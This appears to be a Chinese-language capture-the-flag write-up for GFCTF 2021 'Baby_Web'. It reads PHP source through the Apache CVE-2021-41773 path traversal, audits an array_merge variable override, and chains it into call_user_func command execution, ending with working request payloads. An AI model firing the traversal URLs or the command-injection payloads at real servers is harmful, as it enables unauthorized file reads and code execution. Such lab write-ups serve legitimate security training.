Problem: [GFCTF 2021]Baby_Web
[[toc]]
CVE-2021-41773
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt
读取到源码
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
读取Class.php看下
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/Class.php.txt
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
是块代码审计硬骨头。index.php实例化了Temp对象,向构造方法传入POST的变量,调用display方法传get参数filename
Class.php用的array_merge()存在变量覆盖特性
1、合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名 2、则合并后为参数2数组中对应键的值,发生了覆盖。//注意,会造成变量覆盖 3、然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。 4、如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>
/**
Array
(
[color] => green
[0] => 2
[1] => 4
[2] => a
[3] => b
[shape] => trapezoid
[4] => 4
)
**/
display()实现如下:
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
跟进getTempName()
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
前期准备扫目录时发现了/template/admin路径,调用的listdata方法,跟进
public function listdata($_params){
$system = ['db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '',];
$param = $where = [];
//去除字符串首尾处的空白字符
$_params = trim($_params);
//使用一个字符串分割另一个字符串,代码中以空格为分割,将$_params属性分割成一个数组$params[],比如说原来$_params="zhi shi xue bao",经过explode函数处理后变为$params=["zhi","shi","xue","bao"]
$params = explode(' ', $_params);
//检查数组中是否存在某个值
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
//遍历给定的 params 数组
foreach ($params as $t) {
//substr:返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。
//strpos:查找字符串首次出现的位置
//$var为$t中等号前的所有。
//$val为$t中等号后的所有。
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
//即$t不是“xxx=xxx”形式,而是“xxx”形式
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function'://111
//$param['name']存在
if (!isset($param['name'])) {
return 'hacker!!';
//function_exists():如果给定的函数已经被定义就返回TRUE
//即$param['name']作为函数已经被定义
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
//intval:获取变量的整数值
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
//call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
$rt = call_user_func_array($param['name'], $p);
} else {
//call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list'://222
//将$this->date进行json格式的编码,并且输出
return json_encode($this->date);
}
return null;
}
上面的东西有点太繁杂,需要整理一下,接下来这段内容需要和代码同步着看,否则一定会头昏脑涨。
首先在index里传get参数filename就会执行display,经过extract执行getTempName最后include该template
在/template/admin/路由下存在一个listdata方法,里面有call_user_func_array()和call_user_func(),利用后者的话,就要调用listdata,所以在template/admin/index.html路由下,为了顺利走完getTempName从而为利用后面的漏洞函数做准备,第一步要先让$dir==='admin'为true,我们可以控制space=admin。为什么呢?因为构造方法__construct接收的就是我们POST进去的参数,在这里传入,然后通过里面的array_merge完成我们的赋值,这样dir就会等于admin,就可以继续往下走了。至于为什么dir可以是space,这很简单,在display函数实现的地方形参的名字是space,在getTempName函数实现的地方,第二个形参是dir:
public function display($template,$space='')
public function getTempName($template,$dir)
我们可以稍加留意下listdata里面的system数组中的一大堆键名。
接着讲怎么走到漏洞函数,除了dir==admin,另一个条件是template=index.html,是html文件,因为我们进入了第一个if之后紧接着就来到了
if(!is_file($this->template))
那么我们的template是文件,就可以不进入里面的die了,也就是顺利执行了getTempName。怎么控制template=index.html呢?别忘了在index.php里面有这样一句
$temp->display($_GET['filename']);
那我们就可以get传filename=index.html了。至此,初步的赋值完成,来细细的啃listdata:
最终要走进这里实现rce
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
如果带$p玩,那么就相当于要执行system('ls')这样的,如果不带,就执行无参的函数phpinfo(),理解了第一种,第二种就相当于把跟$p相关的处理无视掉就可以了。
我们要的是,$param['name']=system,先纵观整个switch语句,首先action=function,才有后续的内容,这是我们需要控制的一个地方。接着走,需要绕过第一个
if(!isset($param['name']))
这和我们的目的殊途同归,所以无视之,走进
elseif(!function_exists($param['name']))那么phpinfo是内置的函数,肯定是定义了的,也可以顺利通过。接下来,到了
$force=$param['force'];
if(!force){
...
}
那我们要让force=false,才有后续。继续,定义了数组p,遍历param里的值,赋给循环中的t,接着一个if(strpos($var,'param')===0)此处保证的是$var='param0xxxxx',通过下面的intval(substr($var,5)),也就是intval('0xxxxx')导致$n=0,下一句就是$p[$n]=$t;,所以$p[0]=$t;
其中的$t,就是我们可以控制的$var=cmd
那么param的前身是个空数组,通过的是foreach($params as $t)进入一个if循环里赋值得来的。所以再去找$params,那么listdata传入的形参叫做$_params,通过trim()进行分割得到的。而trim函数就是用空格来分割的,所以我们最终传入的$_params想要分割就用空格,接着走到一个if语句
if(in_array($params[0],['list','function'])){
$params[0]='action='.$params[0];
}
我们从先前的action就可以知道,$params[0]其实要么是list要么是function,所以这里$params[0]最终一定会在前面加上一个action=
目前来看,我们要的是$_params=function name=system force=false param0xxxx=phpinfo。
继续走,我们到template/admin/index.html里,发现页面是这样回显的:
listdata("action=list module = $mod");?>
这就有意思了,服务器这该死的设计让我们的第一个action强行等于list!,只留下一个module = $mod是我们可控的,那我们最终的payload会变成这样:
$mod=xxxx action=function name=system force=false param0xxxx=cmd
这其实没有关系,要的是一个变量覆盖,该调用调用,所以最终payload就是
?filename=index.html POST: space=admin&mod=xxx action=function name=phpinfo
或者
?filename=index.html POST: space=admin&mod=xxx action=function name=system param=cat${IFS}/f*>/var/www/html/a

system等命令执行函数被ban了,这里name=system还是过不了elseif (!function_exists($param['name']))
目前来看,我们要的是
$_params=function name=system force=false param0xxxx=phpinfo。这里有误,应是
目前来看,我们要的是
$_params=function name=system force=false param0xxxx=ls。或
$_params=function name=phpinfo force=false。